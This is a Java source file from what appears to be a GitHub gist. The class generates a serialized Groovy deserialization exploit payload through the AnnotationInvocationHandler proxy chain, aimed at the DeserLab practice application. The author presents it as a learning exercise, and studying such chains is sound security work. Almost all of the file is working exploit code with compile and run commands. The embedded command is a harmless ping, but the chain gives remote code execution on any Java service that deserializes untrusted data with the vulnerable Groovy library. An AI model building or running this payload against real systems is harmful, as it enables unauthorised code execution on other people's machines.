Java class to generate a Groovy serialized payload
/* | |
DiabloHorn - https://diablohorn.com | |
For learning purposes we build the groovy payload ourselves instead of using | |
ysoserial. This helps us better understand the chain and the mechanisms | |
involved in exploiting this bug. | |
compile with: | |
javac -cp <path to groovy lib> ManualPayloadGenerate.java | |
Example: | |
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java | |
Execute: | |
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin | |
References, including those we borrowed code from | |
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/ | |
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html | |
https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html | |
http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html | |
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ | |
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478 | |
https://www.youtube.com/watch?v=VviY3O-euVQ | |
http://wouter.coekaerts.be/2015/annotationinvocationhandler | |
http://www.baeldung.com/java-dynamic-proxies | |
https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy | |
https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical | |
*/ | |
//regular imports | |
import java.io.IOException; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectOutputStream; | |
import java.io.PrintStream; | |
import java.util.Map; | |
//reflection imports | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.InvocationTargetException; | |
import java.lang.reflect.Proxy; | |
//library specific imports | |
import org.codehaus.groovy.runtime.ConvertedClosure; | |
import org.codehaus.groovy.runtime.MethodClosure; | |
public class ManualPayloadGenerate{ | |
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException { | |
Object groovyExploit = getGroovyExploitObject(); | |
serializeToByteArray(groovyExploit); | |
} | |
public static void serializeToByteArray(Object object) throws IOException { | |
PrintStream out = System.out; | |
final ObjectOutputStream objOut = new ObjectOutputStream(out); | |
objOut.writeObject(object); | |
} | |
public static Object getGroovyExploitObject() throws ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException { | |
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet"); | |
//here we proxy all calls to methods | |
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerate.class.getClassLoader(), new Class[] {Map.class}, closure); | |
//this is the first class that will be deserialized | |
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"; | |
//access the constructor of the AnnotationInvocationHandler class | |
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; | |
//normally the constructor is not accessible, so we need to make it accessible | |
constructor.setAccessible(true); | |
//this is were we set the initial chain for exploitation | |
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, map); | |
return secondInvocationHandler; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment